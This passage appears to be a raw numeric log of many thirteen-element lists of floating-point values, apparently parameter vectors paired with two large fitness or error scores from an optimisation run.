3.8683254669914693e-16, 2.7200371659468664e-05, -1.925930700762681e-06,\n -1.643396668485197e-08, 8.601004856702239e-10, 840789439847.5613, \n 886246867017.2574], [6.5292806963971566e-06, -1.2521788644307235e-12, -\n 1.752024719240228e-13, 5.432423395298522e-11, -7.243160061946103e-11, -\n 1.1728842336075722e-15, 3.642469974043324e-16, 2.4721354631465055e-05, \n -1.9201275577069358e-06, -1.6042437181983083e-08, 8.613978338195112e-10,\n 1220087240914.9465, 1538404370735.8923], [7.222746286095911e-06, -\n 1.4287928653696903e-12, -1.7798884315456173e-13, 5.47608522234827e-11, \n -7.177949793819456e-11, -1.1234835849356116e-15, 3.638627899273496e-16,\n 2.4725904181789833e-05, -1.7849753358990938e-06, -\n 1.6004659818379623e-08, 9.095587982641099e-10, 1457214324700.6113, \n 3971854766728.4727]]\n[1.5780628845471506e-10, -1.411490597458207e-12, -2.483949940281473e-13, \n 5.026488748046414e-11, -1.6612576871621329e-10, -1.6989844545344268e-15,\n 8.109443782655016e-16, 2.404048022255995e-05, -1.9859378185800262e-06, \n -1.6176901999289427e-08, 9.489903548622118e-10, 102704594939.3429, \n 145011267381.10236]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, \n 148817892429.6303]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.7924226413310876e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.68878771600575e-08, 9.514461873186105e-10, 117267023779.58536, \n 138194745977.8172]\n[6.483959591091273e-10, -1.5516831882387681e-12, -2.490649104258458e-13, \n 5.026488748046414e-11, -1.669670220497726e-10, -1.6989844545344268e-15,\n 8.109443782655016e-16, 2.3963751617497686e-05, -1.9859378185800262e-06,\n -1.6176901999289427e-08, 9.514461873186105e-10, 81279986793.6045, \n 148499957167.59894]\n[6.525636151737385e-10, -1.3197261044307544e-12, -2.4458923117817936e-13, \n 4.6265959327559024e-11, -1.6585443429963996e-10, -1.802849923078712e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.68878771600575e-08, 9.514461873186105e-10, 121168243931.69568, \n 138376625633.08905]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.59768924730343e-11, -1.6588127033784183e-10, -1.7924226413310876e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9859378185800262e-06,\n -1.6176901999289427e-08, 9.503282761551985e-10, 127284942067.54468, \n 147143586736.12967]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15,\n 8.4683341745183045e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, \n 148817892429.6303]\n[6.483959591091273e-10, -1.5516831882387681e-12, -2.477506624442777e-13, \n 5.026488748046414e-11, -1.669670220497726e-10, -1.7924226413310876e-15,\n 8.070333012129768e-16, 2.4138485475672502e-05, -1.9859378185800262e-06,\n -1.6108027319186075e-08, 9.514461873186105e-10, 78167992157.7952, \n 149819556305.94864]\n[2.8389500911155237e-10, -1.3179669217824132e-12, -2.1290409882195637e-13, \n 5.0376537605765665e-11, -1.7763084077799175e-10, -\n 1.8081388431942655e-15, 8.940150894056582e-16, 2.501288034169883e-05, -\n 2.04721003e-06, -1.5842532923181598e-08, 9.632771875757591e-10, \n 108694336300.90585, 154375559012.27695]\n[3.603083193105678e-11, -1.3197261044307544e-12, -2.213785963757499e-13, \n 4.581086934703742e-11, -1.6681614728164575e-10, -1.803564324024427e-15,\n 8.4683341745183045e-16, 2.4065016435368993e-05, -2.0711260096490455e-06,\n -1.7031696163247858e-08, 1.0052651438176042e-09, 98921398930.67514, \n 195080915978.15582]\n[-2.0926038768787875e-10, -1.4706748741606338e-12, -2.3988654320236774e-13,\n 4.877026722101481e-11, -1.4519789238682426e-10, -1.8284483886533772e-15,\n 8.688144408462996e-16, 2.7398930354457147e-05, -1.8015495121292713e-06,\n -1.818410294118833e-08, 8.90965422552221e-10, 100727388654.51337, \n 143318140783.98648]\n[-2.0926038768787875e-10, -1.4706748741606338e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.450370910345386e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06,\n -1.818410294118833e-08, 8.935114691513575e-10, 112772825510.86789, \n 160453198244.84198]\n[-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, \n 4.764041880667976e-11, -1.8918518378579712e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7122228639393258e-05, -1.8099079507631247e-06,\n -1.8203397437532012e-08, 8.935114691513575e-10, 177535436392.6114, \n 109895891048.79645]\n[-2.0926038768787875e-10, -1.6406892521440393e-12, -1.9531413192683389e-13,\n 4.85603371945204e-11, -1.450370910345386e-10, -1.9257301298903336e-15, \n 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06,\n -1.836034443165441e-08, 8.935114691513575e-10, 150364957402.63327, \n 122880053749.32047]\n[-8.223802918909379e-10, -1.4625176901480844e-12, -2.703868659848318e-13, \n 4.852404641399239e-11, -1.896863627503491e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.697391208672331e-05, -1.7223534426462784e-06, \n -1.7212440323693525e-08, 8.377481199786938e-10, 199237170018.58218, \n 130994741061.18477]\n[-2.1118416643089627e-10, -1.459747004615292e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4471230416768517e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7267797101210102e-05, -1.8015495121292713e-06,\n -1.818410294118833e-08, 8.935114691513575e-10, 120611068648.22205, \n 148716985588.15564]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 190052435274.9098, \n 101545825010.15762]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4446129047664535e-10, -1.8210829282495652e-15,\n 8.731899868495941e-16, 2.4857867004975476e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 195239394048.3779, \n 101879284463.33914]\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.88885, \n 102270797763.39908]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, \n 106305215455.77405]\n[-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, \n 4.7704075824842225e-11, -1.8975666267494283e-10, -\n 1.9099300746589145e-15, 8.757096667187756e-16, 2.7122228639393258e-05, \n -1.809239966469619e-06, -1.8203397437532012e-08, 8.935114691513575e-10,\n 166731944707.48343, 109962566902.69849]\n[-2.0926038768787875e-10, -1.3235354562894133e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.5027518840822802e-10, -1.9355556139972827e-15,\n 8.69779310515605e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -\n 1.830053261436748e-08, 9.113315958572542e-10, 198705325524.15018, \n 111850971687.16727]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13,\n 4.858844276736905e-11, -1.5027518840822802e-10, -1.9257301298903336e-15,\n 8.765174154706532e-16, 2.507247127369048e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.134614417430693e-10, 152877011534.3794, \n 128488226222.4665]\n[-8.325113652893972e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8226533446456543e-15,\n 8.718221314640016e-16, 2.471871023322042e-05, -1.788813296914756e-06, -\n 1.836034443165441e-08, 9.148927620445716e-10, 115664967416.85544, \n 172987399752.44284]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, \n 98829512345.71223]\n[-8.372802930516975e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.765346456450067e-16, 2.4957985197946978e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 191606485390.66824, \n 100937635343.36494]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13,\n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, \n 101220474756.5564]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.852404641399239e-11, -1.4730851235460287e-10, -1.8195538935082505e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.24603, \n 101440046940.62292]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15,\n 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, \n 101479475091.5385]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 186125019263.05353, \n 101522685052.87083]\n[-8.372413642600907e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.826770959894538e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.675713932751666e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 176424094355.21158, \n 102059630396.96977]\n[-8.32774857282967e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.475667375214216e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.7921694947468313e-06,\n -1.836034443165441e-08, 9.080472327376693e-10, 190619161162.84558, \n 102134941196.42899]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.835930442286039e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89273, \n 102270797763.3992]\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9482957217087468e-13, \n 4.831070029448083e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.688144408462996e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89435, \n 102270797763.39929]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4446129047664535e-10, -1.8304219886094965e-15,\n 8.765174154706532e-16, 2.4857867004975476e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.087619653117874e-10, 191644867011.30374, \n 102518032445.5969]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.82400894161232e-11, -1.4446129047664535e-10, -1.8228595048374295e-15,\n 8.751158883884222e-16, 2.506841119647095e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 172947032775.99432, \n 102577021916.3392]\n[-2.103367158359051e-10, -1.3359785407261977e-12, -1.9376482536341035e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, \n 106305215455.77405]\n[-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8161784527844478e-08, 9.087619653117874e-10, 144963603428.97382, \n 112061347287.60056]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.5026084747023036e-05, -1.7900208911755532e-06,\n -1.830053261436748e-08, 9.087619653117874e-10, 125853468889.92097, \n 136457449593.06062]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15,\n 8.765174154706532e-16, 2.4703687041471573e-05, -1.776082515662521e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 126137991779.33096, \n 160562679389.67618]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, \n 98829512345.71223]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, \n 100125948657.42978]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.855683396544643e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 183895104728.34744, \n 101215117638.35565]\n[-2.0926038768787875e-10, -1.3382357152930057e-12, -1.9531413192683389e-13,\n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, \n 101220474756.5564]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11664, \n 101220474756.55742]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.852404641399239e-11, -1.476291648179518e-10, -1.8195538935082505e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.4617, \n 101440046940.6675]\n[-2.0969974314689316e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, \n 101479475091.5385]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.8730627003901226e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.58997, \n 101479475091.5439]\n[-2.0926038768787875e-10, -1.6370065196284276e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.4663924630161214e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.5149586855224063e-05, -1.8040587516026417e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 174674218067.03134, \n 101707557509.25955]\n[-2.0780704759852712e-10, -1.3359785407261977e-12, -1.928247479392491e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.815489945689696e-16, 2.492800478197597e-05, -1.799557982850986e-06, -\n 1.830053261436748e-08, 9.081976758127089e-10, 177564736843.2668, \n 101910116331.42278]\n[-2.0926038768787875e-10, -1.3481496678499343e-12, -1.9612804716494087e-13,\n 4.869384519400452e-11, -1.4625361988654996e-10, -1.816149350524488e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.087619653117874e-10, 176677319245.07892, \n 101942928295.47075]\n[-8.324503936172223e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4535167828811644e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.063398319687734e-10, 161710635101.41095, \n 104790698646.6004]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8168585276282465e-11, -1.4675478300173032e-10, -\n 1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, \n -1.8015495121292713e-06, -1.830053261436748e-08, 9.102513898455556e-10,\n 160649925757.17908, 106424978687.80653]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.765174154706532e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.067222192179334e-10, 157509126624.7564, \n 106648081137.30634]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.87567764690249e-11, -1.473869541008466e-10, -1.8210829282495652e-15, \n 8.797810044472039e-16, 2.5128697145423343e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.089655956213592e-10, 156027014786.34595, \n 106784848298.00577]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13,\n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15,\n 8.758120054489215e-16, 2.489589641570383e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.120599461707459e-10, 159857940983.01962, \n 106918161793.97298]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9347415380665696e-13, \n 4.85631967683728e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.836417410231251e-08, 9.134390375783151e-10, 142628527511.76648, \n 117274357359.96004]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9567576322418712e-13, \n 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15,\n 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.120365536291957e-10, 136801158565.52109, \n 118996909122.33968]\n[-2.0926038768787875e-10, -1.3468298773490566e-12, -1.924272863609467e-13, \n 4.852404641399239e-11, -1.4730851235460287e-10, -1.8210829282495652e-15,\n 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.13148553316506e-10, 131221998343.07083, \n 125656067768.88814]\n[-8.372802930516975e-10, -1.6610460978653825e-12, -1.9391155389121011e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.765346456450067e-16, 2.500200335107093e-05, -1.777109321965829e-06, -\n 1.836034443165441e-08, 9.081976758127089e-10, 107442969837.9951, \n 191438895729.71088]\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, \n 98829512345.71223]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4659424506650604e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 185690352687.11697, \n 99223644222.007]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.4957985197946978e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, \n 100125948657.42978]\n[-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.849645416672899e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.714032924475303e-16, 2.492800478197597e-05, -1.799557982850986e-06, -\n 1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3534, \n 100180028793.61896]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.850709631603352e-08, 9.087619653117874e-10, 199924589208.46686, \n 100223589650.82378]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9654069739659012e-13, \n 4.855683396544643e-11, -1.461461940090847e-10, -1.803543054789903e-15, \n 8.763652695826297e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 178626169889.2221, \n 100558408593.70113]\n[-8.332310924150067e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8877585360256924e-11, -1.4675478300173032e-10, -\n 1.8130493256774034e-15, 8.763652695826297e-16, 2.4957985197946978e-05, \n -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10,\n 193351738763.71564, 100949387586.23102]\n[-8.372802930516975e-10, -1.343853363763315e-12, -1.9192642832280474e-13, \n 4.852404641399239e-11, -1.446871529700577e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 197397120636.1133, \n 101220474756.86967]\n[-2.081071620571536e-10, -1.3430194729908366e-12, -1.9531413192683389e-13, \n 4.8687777307168814e-11, -1.432701673757514e-10, -1.8195538935082505e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 189380748448.52612, \n 101440046940.05927]\n[-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.815921924023075e-15, \n 8.834544584685654e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 198690577754.9655, \n 101467426817.57397]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, \n 4.8327983670281894e-11, -1.4675478300173032e-10, -\n 1.8258864221284576e-15, 8.83613368865103e-16, 2.492800478197597e-05, -\n 1.8015495121292713e-06, -1.8304452912365864e-08, 9.081976758127089e-10,\n 193392923341.53983, 101900620617.14302]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9719420123154376e-13, \n 4.861133464689211e-11, -1.483232636118454e-10, -1.8195538935082505e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.7966453439138136e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 174954502194.04602, \n 103131734300.077]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.814072294943091e-11, -1.437983579446461e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.107645094765291e-10, 171249412831.2997, \n 103180541968.40872]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.476291648179518e-10, -1.7906363569860738e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8221372696029056e-08, 9.081976758127089e-10, 154981149327.29538, \n 103805616436.34537]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.855683396544643e-11, -1.432701673757514e-10, -1.825643030416898e-15, \n 8.83613368865103e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -\n 1.81828896229741e-08, 9.081976758127089e-10, 158250536108.31226, \n 106843736334.12831]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9439448414369486e-13, \n 4.855683396544643e-11, -1.4675478300173032e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.5187119035976227e-05, -1.797858272312416e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 148433419780.93826, \n 110030788135.34956]\n[-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.799249889019179e-15, \n 8.765174154706532e-16, 2.4802576523291093e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 152744383578.88885, \n 111006224451.55664]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, \n -1.8140174569754755e-08, 9.081976758127089e-10, 140660582328.68314, \n 113087422800.04585]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.4723, \n 115101067854.69138]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 129686832886.01216, \n 126984206927.84627]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.4592095499147362e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.850709631603352e-08, 9.087619653117874e-10, 188127979624.47858, \n 98138013390.26245]\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8139505305916955e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.783887938075847e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.45816, \n 98829512345.71414]\n[-8.379785124926609e-10, -1.3292316984383345e-12, -1.955394873972143e-13, \n 4.852404641399239e-11, -1.4779126633130978e-10, -1.799249889019179e-15,\n 8.775397316555329e-16, 2.5049204386853816e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 183972070969.05157, \n 98891303611.42876]\n[-8.373750609204521e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.4659424506650604e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.492800478197597e-05, -1.7997194394724915e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 176341783374.723, \n 99638222233.03885]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4696825367906723e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 187303786818.71506, \n 99962477826.90034]\n[-8.29844666406642e-10, -1.3259182588069894e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.492800478197597e-05, -1.799557982850986e-06, -\n 1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3526, \n 100180028793.6191]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.4907384876305387e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 192885903228.52237, \n 100290100926.3771]\n[-8.372802930516975e-10, -1.340114474894997e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4659424506650604e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.492800478197597e-05, 